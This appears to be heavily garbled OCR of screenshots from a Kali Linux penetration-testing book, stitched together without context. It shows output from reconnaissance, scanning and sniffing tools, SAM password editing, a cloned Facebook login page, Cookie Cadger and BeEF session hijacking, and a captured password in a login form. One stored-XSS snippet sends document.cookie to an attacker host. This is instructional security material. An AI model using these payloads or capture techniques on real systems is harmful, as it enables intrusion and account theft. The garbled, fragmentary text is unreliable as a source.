Mirror ALL links in URLs (Multiple Mirror)
Test Links In URLs (Bookmark Test)

Quit

cuswnE
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* SAM policy limits:

Failed logins before lockout is: @

‘Minimum password length 50, | I\ \X
Password history count k\6 L L A\ U A

| RID ~|====ewems Username ------------ | Admin? |- Lock? --|
| 61f4 | Administrator | ADMIN | dis/lock |
| 03e8 | alakhani | ADMIN | |

| 6115 | Guest | | dis/lock |
| ©3ea | HomeGroupUser$ | | |
root@kali:/media/ECOBE2D208E29ABA/Windows /System32/config# I
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NeSSUS' vuinerabiity scanner
B v s o
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(enter) Mirror Web Site(s)

Mirror Web Site(s) with Wizard

Just Get Files Indicated

Mirror ALL links in URLs (Multiple Mirror)
Test Links In URLs (Bookmark Test)

Quit

ouswNE

i 2
Proxy (return=none)

You can define wildcards, like: -*.gif +www.*,com/*.zip -*3
Wildcards (return=none) :*

You can define additional options, such as recurse level (-
>), separed by blank spacesy (1\(1 (1 1 [I10|[ T}
To see the option list, type/Relp | LU
Additional options (return=none)

--> Wizard conmand line: httrack wa.drchaos.con -W -0 "/r
bsites/drchaos.com’ -%v *

Ready to launch the mirror? (Y/n) :ll
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8006 4 alakhani — bash — 80x24

chaos:~ alakhani$
~ alakhani$
~ alakhani$
chaos:~ alakhani$ dig www.cloudcentrics.com

<<>> DiG 9.8.3-P1 <<>> www.cloudcentrics.com
global options: +cnd

Got answe
~>>HEADER<<- opcode: QUERY, status: NOERROR, id: 57827

i; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0

QUESTION SECTION:
swww. cloudcentrics. com. ™ A

i ANSWER SECTION:
www.cloudcentrics.com. 14400  IN CNAME  cloudcentrics.com.
cloudcentrics. com. 14400 1IN A 50.116.97.205

Query time: 24 msec
SERVER: 10.0.1.1#53(10.0.1.1)
i3 WHEN: Tue Mar 19 23:54:02 2013
ii MSG SIZE rcvd: 69

chaos:~ alakhanis I
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T paramsT] |y

sions < Websockets ¥ | X spl
seskPos X 'Ii—m?ﬁ.‘ A

sper® |

History
Cross-domain Javascript source file inclusion
= R itpihemthesecurtyblogger.com
& ers (4) et B
S clossdonun javasciptsourceie nclaion (72) TR VARS)
> @ 7 Prvate 1P disclosure 3) Parametar: htps:/apis. google.comisiplusone.fs

» @ 7 XContent Type-Options header missing (91)
> (8 7 x57ame Options headar not set (91)
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Terminal

root@kali: ~

Help

oning the website: http:

‘wwiw . Facebook .com

[*] This could take a little bit..

ing
i 1 t i Tow:

- - [11/3un/2013 22:18:14] “GET / HTTP/1.1" 260 -

- - [11/3un/2613 22:18:29] "GET / HTTP/1.

200 -
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e —
Edit Cookie

Name | & _utma
Value | # | 150988847.42247980,13683241
Host @ | chrispederick com
Path A/
Expires 8 Tue, 12 May 2015 02:02:26 GM
[ Session cookie

[] Secure cookie
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Enable Session Detection?

Session detection replays web requests in the background and analyzes
them for evidence that a user is logged in. Enabling session detection
will cause Cookie Cadger to utilize a larger amount of available

system resources.

By enabling this feature you also understand that:

1) Cookie Cadger will (potentially) automatically impersonate any
network user without their explicit permission or interaction on your part.

2) The legality of doing so varies between jurisdictions. It is your
responsibility to understand and comply with any applicable laws.

Would you like to enable session detection?
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% Start a Machine

Steps

1. Choose maghine
2. Specify targt

4

Run Machine - Choose machine (1 of 2)

Please

ct the machine t

Company Stalker

Footprint L1

Footprint L2

torint L3

Person - Email Address

¥] Show on startup

] Show on empty graph click

o run from the list below

| ]

]

Cancel
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root@kali:~# dsniff -i eth@
dsniff: listening on eth®
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Export Scan Results

ExportFomat | HTML

s
o
®

Export Resuts

Select chapters to inciude:

s Sunny (Bxecuave) Vtnesbats By Hort

Vuneabites By Poon
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‘Add a new snippet.

<script=document wrie('<img

src="http/Kkali.drchaos comivariwwwixss_labllab_script.php?*+docu
ment.cookie+">*)</script>

Limited HTML is now supported in snippets (e.g., <b>,

Submit
<i>, otc.)! Exm)
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-threads Specify how many threads to use while scanning (d

is single threaded).

-traverse Specify a number of IPs above and below wha
have found to look for nearby IPs. Default is 5 ab
below. Traverse will not move into other C blocks.

-version Output) the version number.

-wide Scan/ the.entire class C after finding any m
hostnames in that class C. This generates a lot mo
but can uncover a lot more information.

-wordlist Use a seperate wordlist (one word per line)

perl fierce.pl -dns examplecompany.com -wordlist dictionary
root@kali:~# B
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- - - - User Edit Menu: A A

1 - Clear (blank) user password

2 - Edit (set new) user password (careful with this on XP or Vista)
3 - Promote user (make user an administrator)

(4 - Unlock and enable user account) [seems unlocked already]

q - Quit editing user, back to user select

Select: [q] > |
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root@kali:~# fimap --force-run -u "http://www.thesecurityblogger.com/?p=2475"
finap v.09 (For the Swarm)

Automatic LFI/RFI scanner and exploiter

by Iman Karim (fimap.devegmail.com)

SingleScan is testing URL: 'http://www.thesecurityblogger.com/?p=2475"
[23:19:29] [OUT] Inspecting URL 'http://www.thesecurityblogger.com/?p=2475". ..
[23:19:29] [INFO) Fiddling around with URL
Target URL isn't affected by any file inclus:
root@kali:~# |
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root@kali;~# fierce -dns thesscurityblogger.com
DNS Servers for thesecurityblogger.com:
ns3.dreanhost .con
ns1 dreanhost .con
ns2.dreahost .con

Trying zone transfer first
Tosting ns3.dreashost.con
Request tined out or transfer not allowsd.

Testing nsl.dreathost.con
Request tined out or transfer not allowed.

Testing ns2.dreashost.con
Request tined out or transfer not allowed.
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Startup wizard - Login (2 of 5)

Enter your details below to log in to the Maltego Community Server

rif you have not done so yet, register here

Login
Emal Address

north
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+ Solve captcha
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[ Automatically Load Sessions into Browser (Demo Mode)

[Capture device search completed with 4 devices found.

ookie Cadger (v1.00, https:/cookiecadger.com)
reated by Matthew Sullvan - mattsiifebytos. com
is software Is freely distributed under the terms of the FreedsD ficense.

Jpening etho for traffic capture. &






OEBPS/Image00311.jpg
QUp:Down

down for everyone or just me?





OEBPS/Image00068.jpg





OEBPS/Image00189.jpg
[ stes | [quick start 5 [ 3equest=+ [Responses= | Break i |
SEloadar o ) L (i ot 5] (B0t et ) )]

GET.css.php(dfangd.she,styeidtd)
GET.contertphp. HITR/1.1 200 06

Lo Date: Tue, 14 May 2013 15:19:53 G
GETavconico Server: apache
2 forumrunner X-Poserad-By: P/5.3.19

[cache. Cantrols private
Pragna: private
otk e 1AStaCtivituen: exmiresshed 14:Maw.o01A 15116063 G
Vv Vo_Grsable_syax = parselnti b, 1077
var STRPLEVERSTON = 421
var B8LRL = *h o Torunse
var LOGGEDIN = 14335 > 07 trus © false;
Var THIS SCRIPT = *Login';

e dtect s

| POSTprafile php(do)(doss,securtytoke
> G htp
> 2 o et thesecurtyblogger.com
> L it

i var FELPATH = 11
= s var paTHS -
> L nttpsi i d forun ¢ **, ["Find
i —— ems ¢ )| Encodeecadssh.
e s
ForcedBrowse /| Fumer® | Params(] | bpSessions | oo
oy = Searchy, | oreakpomts
© Cross-dor E
& Aerts (51 it
Drectory browsing (44) Relisbilty, Warming| 59V cutsc
hmmmmm past
* @7 Pruste P dacisure (93) attsc :
» 6 7 XContent Type.Options header missing (1655) || Descrp Select &l [ ———
» 8 Xrame Options header not st (13531 =
The pace stthe| Sove Raw > ptesfoma
thrdpay do






OEBPS/Image00310.jpg





OEBPS/Image00071.jpg
Usage: urlsnarf [-n] [-1 interface | -p pcapfile] [[-v] pattern [expression]]
root@kaliz~# urlsnarf -1 etho
urlsnarf: listening on eth® [tcp port 88 or port 8080 or port 3128]





OEBPS/Image00192.jpg
ﬂ{@ Greasemonkey

\ >






OEBPS/Image00313.jpg





OEBPS/Image00070.jpg
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root@xali:~s zap
Using Java version: 1.7.0_063

Available memory: 755 MB

jSetting jvm heap size: -Xmx128m

158 [main] INFO org.zaproxy.zap.ZAP - OWASP ZAP 2.1.0 started.

}Jun 20, 2013 11:10:50 PM java.util.prefs.FileSystemPreferences$l run
INFO: Created user preferences directory.
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root@kal fimap --install-plugins

fimap v.09 (For the Swarm)

:: Automatic LFI/RFI scanner and exploiter
by Inan Karim (fimap.dev@gmail.com)

Requesting list of plugins.
B
S

#LIST OF TRUSTED PLUGINS

#
BB RSB RSRB R S R ERRE R E RSB ES SRR R BB EY
S
#(1] Weevils injector by Darren “Infodox" Martyn <infodox@insecurety.net> - At v
ersion 2 not installed. #
#(2) AES HTTP reverse shell by Darren "Infodox" Martyn <infodox@insecurety.net>
- At version 1 not installed.  #
#[q] Cancel and Quit.

#
B R R AR
Y
Choose a pludin [tolinstall:[ 1 1\ IIvv7
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3 hosts added to the Fosts list
Randomizing 255 hosts for scanning
Scanning the whole netmask for 255 hosts,
4 hosts added to the Fosts list.

Host 172.16.76.1 added to TARGET1
Host 172.16.76.128 added to TARGET2
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Google inurl:loader-wizard extphp

Web images  Maps  Shopping Mo~  Searchlools

About 3,510 results (0.23 seconds)

ionCube Loader Wizard

'gsship.org/GSSC/ICONCubelnstall.. loader-wizard.php?timeout... ~
Loader is at; /home4/gsshipor/public_htmi/ioncubefioncube._loader_lin_5.2.50. Loader
0S code: lin, Loader architecture: x66. Loader word size: 32. Loader PHP ...

iC: "
tecnologias 101 info/algesweblioncube/loader-wizard.php
Please contact the script provider if you do experience any problems running encoded
fils. For securty reasons we advise that you remove this Wizard scrpt

‘www.nextbestthinglomom. netioader-wizard.php ~
fonCube Loader Wizard. GoDaddy Installation Instructions. It appears that you are
hosted with GoDaddy (www.godaddy.com). If that is not the case then please ...

ionCube Loader Wizard

‘www.municanete.gob.pe/loader-wizard.php ~

ionCube Loader Wizard. To use files that have been protected by the ionCube PHP
Encoder, a component called the ionCube Loader must bo instaied

ionCube Loader Wizard
planetgore.com/ioncube/loader-wizard.php?page=default ~

fonCube Loader Wizard. An updated version of this Wizard script is available here. The
fonCube Loader version 4.0.4 is already installed and encoded files ...
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ootikali:~# drifinet -i eth0 -d /roct/Desktop/Mapturedimaces/
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Post data 7

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near '827cchOeea8a706c4c34a16891(64e7b" at line 1

Exror No: 1064

SELECT * FROM user WHERE usernam
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“‘administrator” AND password =
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Tamper Data 1. s
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KALI LINUX

Finish the installation

Installation complete

Installation is complete, so it is time to boot into your new system. Make sure to remove the
(CD-ROM, floppies), so that you boot into the new system rather than
restarting the installation.

Screenshot GoBack | [ Continue
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HINT 72: USE (e SeX COMMana [0 enter te Valles yOUrSelr, ana
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|No [blind] SQL injection vulnerabilities have been found.

| Hint #1: Try to find vulnerabilities using the audit plugins.

[Hint #2: Use the set command to enter the values yourself, and
Ithen exploit it using fastExploit.

[No [blind] SQL injection vuinerabilities have been found.

it #1: Try to find vulnerabilities using the audit plugins.
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Initial Account Setup

First, we need to create an admin user for the scanner. This user will have administrative control on the scanner; the
‘admin has the abilly to create/delete users, stop ongoing scans, and change the scanner configuration.

togn[ |
password |
Confirm Password: [ |
<Prev  Next>
Because the admin user can change the scanner configuration, the adin has the ability to execute commands on the

remote host. Therefore, it should be considered that the admin user has the same privileges as the ‘root" (or
administrator) user on the remote host.
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root@kali:~# fierce -dns www.cloudcentrics.com
DNS Servers for www.cloudcent rics.com:
ns3682. hostgator.com
ns3681.hostgator.com

Trying zone transfer first...
Testing ns3682.hostgator.com

Request timed out or transfer not allowed.
Testing ns3681.hostgator.com

Request timed out or transfer not allowed.

Unsuccessful in zone transfel (4T wds|worthid $hof)
Okay, trying the good old fashioned wayl... brutel force
Can't open hosts.txt or the-defadlt 'wotdlist-

Exiting.
root@kali:~#
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ctivation Code

Activation Code:
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proxy: 01 Anonymous browsing.
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(5 Equifax Secure Certificate Authority
[ Google Internet Authority

mail.google.com

Issued by: Google Internet Authority

Expires: Thursday, October 31, 2013 6:59:59 PM Central
Daylight Time

® This certficate s valid

» Details.

o
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Graphical install
Install with speoch synthasis

Press ENTER to boot or TAB to edit a menu entry
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000

TP eaders
Accept-Encoding: g2l defe
Conent-Type: aoplcation/x-ww-form-uriencoded; charset=UTF -5
Hash:MaTMDQWHMZZIBRY mU3ZATDINCg L [DgyASWGGswo 3G 33D HEY W IUnSBWU33 QEHWEICSMOKWIVChNKWOHCYKZAS.
X-Reauested-With: XML tpRequest
Referr:hupsnew myspace.com/sgnin
Content-Lengtn 80
Cookie: MSCulture 1P 68.33.152.126IPCultur en-USBFreferredCulture en-US8PreferredCulturePending ~ 6Courtry- W~ 8Forced.
Connection: keep-sive
Progma: no-cache

Cache-Control no-cache

HTTP/L.1 401 Unasthorized
Vary: Accept-Encoding
Set-Cooki:visitid=4d31e738-3¢51-dbcd-8346-5E8B321c1a1, domain= myspoce.com; path=/: exires=Tue, 30 Apr 2013 15:27:40

(s | [ nepig ] camre (e | [ cme
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OWASP ZAP X

S5 Root CA certificate

S5 won't work If you haven't created and imported an
OWASP ZAP CA root certiicate. You can create such a
certficate any time in the options menu, so you do not have:
to create t right now.

Generate | Go to options panel and create certiicate now.

Later | Not now, but create certficate later.
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[root@kali: /Iedla/E(DSEZB)OEEZ‘JABANLndowS/Systel??/config# 1s -1 SAM*
-rw- - 1 root root 262144 Jul 5 2613 SAM

-rw- - 1 root root 1024 Apr 12 2011 SAM.LOG

-rw- - 2 root root 25660 Jul 5 2013 SAM.LOG1

-rw- - 2 root root 0 Jul 14 2009 SAM.L0G2
lroot@kali:/media/ECOBE2D208E29ABA /Windows/System32/config# i
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File Scan Window Help

leoa

@ Website View

b @ www thesecurityblogger.cd
he |

hetpieurw thesecurityblos
> @ Medium (35)

b @ Low (12)

> @ info (106)

v © 05/09/2013 10:48:57 [Cancel
b @ etpiwiw hesecurityblog

® s
I

=50 samme]

@ VEGA

Scanner Progress

http://www.thesecurityblogger.comwp-includes/ms-fu
119 out of 151 scanned (78.8%)

Scan Alert Summary
0

© Medium (95 found)
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Connection Settings.
Configure Proxies to Access the Internet
© No proxy

©) Auto-detect proxy settings for this network

Use system proxy settings

® Manual proxy configuration:

v
HTTP Proxy: | localhost Port: | 8080

¥ Use this proxy server for all protocols|

No Proxy for:

locathost, 127.0.0.1

Example: mozilla.org, .net.nz, 192.168.1.0/24
© Automatic proxy configuration URL:

Help | cancel || oK
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root@kali:~# mkdir mywebsites
root@kali:~# cd / websites
root@kali:/# httrack

Welcome to HTTrack Website Copier (0ffline Browser) 3.46+libhtsje

.50.2
Copyright (C) Xavier Roche and other contributors
To see the option list, enter a blank line or try httrack --help

Enter project name :fi
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root@kali:~# cd mywebsites/
rootakali:~/mywebsites# s
cloudcentrics. com
root@kali:~/mywebsites#
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L

2 0 HITP 1048 GET /up-adnin/css,/up-admin.min. cos?ver.
a o HITP 1009 GET /up-includes/css/buttons. min.cssv
2175 67, 263936000 2 0 HITP 1051 G /up-adnin/css/colors- {rash. min.css
2179 67.271618000 2 % HTP 1037 GT /wp-includesyjs/ovfobject.jstver=2
2165 67, 262087000 2 o MR 1098 G /up-includes;ys/yavery/Jauery. 1570
2169 67, 282995000 a1 » HITP 1052 GET /up-cantent/pluging/1- Flash-geller
2101 67.283378000 2 3 MTP 1068 G /wp-content/plugins/a-flash-galler
2200 67, 352113000 = o HITP 1068 GET /up-content/plugine/gd-star- rating
2215 67. 359782000 2 » WP 1057 G /up-includesy s/ thickbor/thickbax.
2217 67, 360132000 a1 » HITP 1058 GT /wp-content/qd-star-rating/css/rat
2222 67.365501000 2 o TP 1085 GET/up-ircludesyysthickbor/thickbor.

b Frase 2127: 756 bytes on vire (6128 bits), 765 bytes captured (6120 bits) on intarface O

b Ethernet 11, Src: Viare_49:o4i73 (60,5 22 .04 73), Dot Vuare_ea:gS:a8 (007 555 0)

b Internet protocol Version 4, Sre: 373 1275 131 (172 {28 1311 Gace s o0 50 a0 (24.00.<0.00)

D Transmission Contral brotocsl, Sre port: 57737 (57737). Dt ork: htp (80), Sea: 1, Ack 1, L 712
b
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Analysis for: https://new.myspace.com/signin

Analysis date: 2013-04-29 23:33:40

[Code [#Lines [#Words [Url
[200"[648L " [13545W [http://www.thesecurityblogger.com/?Publisher=

[200 [648L _[13545W [http://www.thesecurityblogger.com?wp-html-rend=
[200 " [648L [13545W http://www.thesecurityblogger.comPwp-cs-dump=
[200" [648L [13545W hittp:/www.thesecurityblogger.com2wp-stop-ver=
[200 [648L " [13545W [ttp: 2 -ver=

[200 [648L [13545W [http://www.thesecurityblogger.com/2wp-uncheckout='
[200"[648L " [13545W [http://www.thesecurityblogger.com/?wp-usr-prop=
[301 7L 20w [http://www.thesecurityblogger.com/cgi-bin

[200 |648L [13545W |http://www.thesecurityblogger.com/?wp-ver-diff=
[200" [648L [13545W http:/www.thesecurityblogger.com/2wp-ver-info=
[200 " [648L " [13545W [httpi//www.thesecurityblogger.comPwp-verify-link=

Webslayer an OWASP Project
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Professional PHP Solutions

_jonCube

ionCube Loader Wizard

To use files that have been protected by the lonCube PHP Encoder, a component called the fonCube Loader must be installed.

This Wizard will give you information on how to install the ionCube Loader.
Please select the type of web server that you have and then click Next

‘Shared (for exampie, server wih FTP access oly and 1o access to php.)
Degicated or VPS (server with full oot ssh access)
Local Install

Next
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root@kalli:/media/ECOBE2D208E29ABA/Windows /System32/contig# pwd
/media/ECOBE2D208E29ABA/Windows/System32/config
root@kali:/media/ECOBE2D208E29ABA /Mindows /System32/config# l
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iroot@kal i:~# echo 1 > /proc/sys/net/ipvA/io_forwarc
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You have been asked to trust a new Certificate Authority (CA)

Do you want t trust "OWASP Zed Atack Proxy Rook CA" for the following purposes?
 Trust this CA to identify websies
9 Trust this CA to dentity emailusers

& Trust this CA to identify software developers.

Before trusting this CA for any purpose, you should examine ts centificate and its policy.
and procedures (f available).

[ View ] Examine CA centficate

[ Cancel | [0k ]
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root@kali:~# apt-get install httrack

Reading package lists... Done

Building dependency tree

Reading state information... Done

httrack is already the newest version.

The following packages were automatically installed and are no lonc

er required:
greenbone-security-assistant libksba8 libmicrohttpdl®o
libopenvas6 openvas-administrator openvas-cli openvas-manager
openvas-scanner xsltproc

Use 'apt-get autoremove' to remove them.

0 upgraded, 0 newly installed, © to remove and 2 not upgraded.
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This Connection is Untrusted

You have asked Firefox to connect securely to insidemit-apps.mit.edu, but we car't
confirm that your connection s secure.

Normally, when you try to connect securely, sites will present trusted identfication to prove
that you are going to the right place. However, this site’s dentity can' be verified

What Should | Do?

1f You usually connect 10 this site without problems, ts error could mean that someone is
trying to impersonate the site, and you shouldn't continue.

Ceomromaam
Get me out of here!

* Technical Details

* I Understand the Risks
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ScanTile | CloudCentrics
ScanType | Run Now -
ScanPolicy | External Network Scan -

Scan Targets

Upload Targets  ['GRaeaakile’| Mo file chosen

reate. Cancel
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Select Modules

Choose which seanner modules to enable for this scan @ VEGA

Select modules to run:

|+ = Injection Modutes

[ Format String Injection Checks

Cross Domain Policy Auditor

XML Injection checks

Blind SQL Text Injection Differential Checks
) XSS Injection checks

Integer Overflow Injection Checks
Shell Injection Checks
Blind OS Command Injection

Remote File Include Checks

Blind SQL Injection Timing Analysis Checks

Directory Listing and Traversal Checks

L Rlind SOI Ininctinn Arithmatic Eualuation Diffarantial Charke 1]

<Back | Next> || cancal || Finsn
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& > € [ https://www.facebook.com/robots.txt

# Notice: if you would like to crawl Facebook you can
# contact us here: http://www.facebook.con/apps/site_scraping_tos.php
# to apply for white listing. Our general terms are available
# at http://www.facebook.com/apps/site_scraping_tos_terms.php

User-agent: baiduspider

Disallow: /ac.php
Disallow: /ae.php

Disallow: /ajax/

Disallow: /album.php

Disallow: /ap.php

Disallow: /autologin.php
Disallow: /checkpoint/
Disallow: /feeds/

Disallow: /1.php

Disallow: /o.php

Disallow: /p.php

Disallow: /photo.php

Disallow: /photo_comments.php
Disallow: /photo_search.php
Disallow: /photos.php
Disallow: /share.php
Disallow: /sharer/
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httpsy//securewwt.com/nidp/saml2/sso?s

0

Host

User-Agent
Accept
Accept-Language
Accept-Encoding
Referer

Cookie

Request Header Na...

R
i

i
T v
| Mozilia/5.0 (W|

| text/ntmi appi|
e —
en-USeng

| gzip, defiate |

nttps://secure.

| JSESSIONI

Post Parameter Na...

option
Ecom_User ID.
Ecom_Password

loginButton2

Post Param

|credential |

|
ra—
pinkprincess |
]

[logn |

OK.

Cancel ]
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b Frane 1: 54 bytes on wire (432 bits), 54 bytes captursd (432 bits) on interface O

b Ethernet T, Sre; Viwars_40:84:73 (00:0c:29:49:64:73), DSt Vmware_ea:85:48 (00:50:56:02:85:48)

b Internet protocol Version 4, Src: 172.16.76.131 (172.16.76.131), Dst: 199.7.40.72 (199.7.49.72)

» Transmission Control Protocal, Src Port: 34056 (34058), Ost Port: http (€0), Seq: 1, Ack: I, Lemz 0
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Hooked Browsers
4 30nine Browsers
49127001
2 8817001
(Z0ffine Browsers.

Getting Started 5 Logs CurrentBrowser

Dewils | Loge || Commands | Fider || XssRays || pec

& Category: Browser (13 ltems)
Browser Name: UNKNOWH

Browser Version: UNKIOWH

Browser UA String: Hozilal5 0 (XL Linux 1686; v 21.0) Gecko/20100101 Firefox'210
Browser Plugins: Grome Shel Integraiion

Window Size: Widh: 994, Height: 510

JavaEnabled: io

VBScript Enabled: Ho

Has Flash: Yes

Has GoogleGears: 1o

Has WebSockets: Yes

Has ActiveX: Hlo

Session Cookies: Yes

Persistent Cookies: Yes

3 Category: Hooked Page (5 ltems)
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Nmap Output | Ports / Hosts. Topoiogy |Host Detals | scans |

Hosts Viewer| C rishere i convots|  [save Graphic|
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YOO =

HACKING-DATAIASE
Welcome to the google hacking database

We call them ‘googledorks' Inept or foolish people as revealed by Google. Whatever you call these
fools, you've found the center of the Google Hacking Universe!

Search Google Dorks
Category: Free text search: I 77753
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msf > nmap -n -oX my.xml 172.16.189.0/24
[*] exec: nmap -n -oX my.xml 172.16.189.6/24





OEBPS/Image00414.jpg
# Wordlist file name, to be used in batch mode
Wordlist = $JOHN/password.lst
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wses
ox10000

oxioi00

oxasme

DESCRIFTIVN.

CFE oot Loader, Little endian
Broadcon 96345 firmeare header, header size: 256, firmare version: °8", board id: “680M-10",
~CRC32 eader checksus: OXTFEDITCS, ~CRC32 data Checksum: SXFA1DBFTS

Squashts filesysten, big endian, vérsion 2.0, size: 262339 bytes, 420 inodes, Blocksize: 6533
bytes, created: Thu'Sep 17 18:07:36 2009

Strcomm firmare signature, version control: 0, download control: 0, Rarare 10: "DGIIAGT", harduare
version: 8x4100, firmare version: Ex16, starting code segeent: €xf, code Size: Sx7308
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File Edit View Terminal Help

HASH:
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e

b6ddceassb31b438888a9886F5da373a

Possible Hashs:

[+1
[+1

(5
Domain Cached Credentials - MD4(MD4(($pass)).(strtolewer($usernane)))

Least Possible Hashs:
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msi{ > db_import my.xml
[*] Inporting ‘Nmap XML' data

[*] Inport: Parsing with 'Nokogiri v1.5.2'

[*] Importing host 172.16.189.1

[+] Inporting host 172.16.189.5

[*] Inporting host 172.16.189.131

[+] successfully imported /root/my.xnl
mst > hosts

Hosts

address mac name
o comments

172.16.189.1  ©0:50:56:3F:00:68

172.16.189.5

172.16.189.131 ©0:50:56:9F:51:33
msf >

os_nane

Unknown
Unknown

Unknown

0s_flavor

0s_sp

purpose
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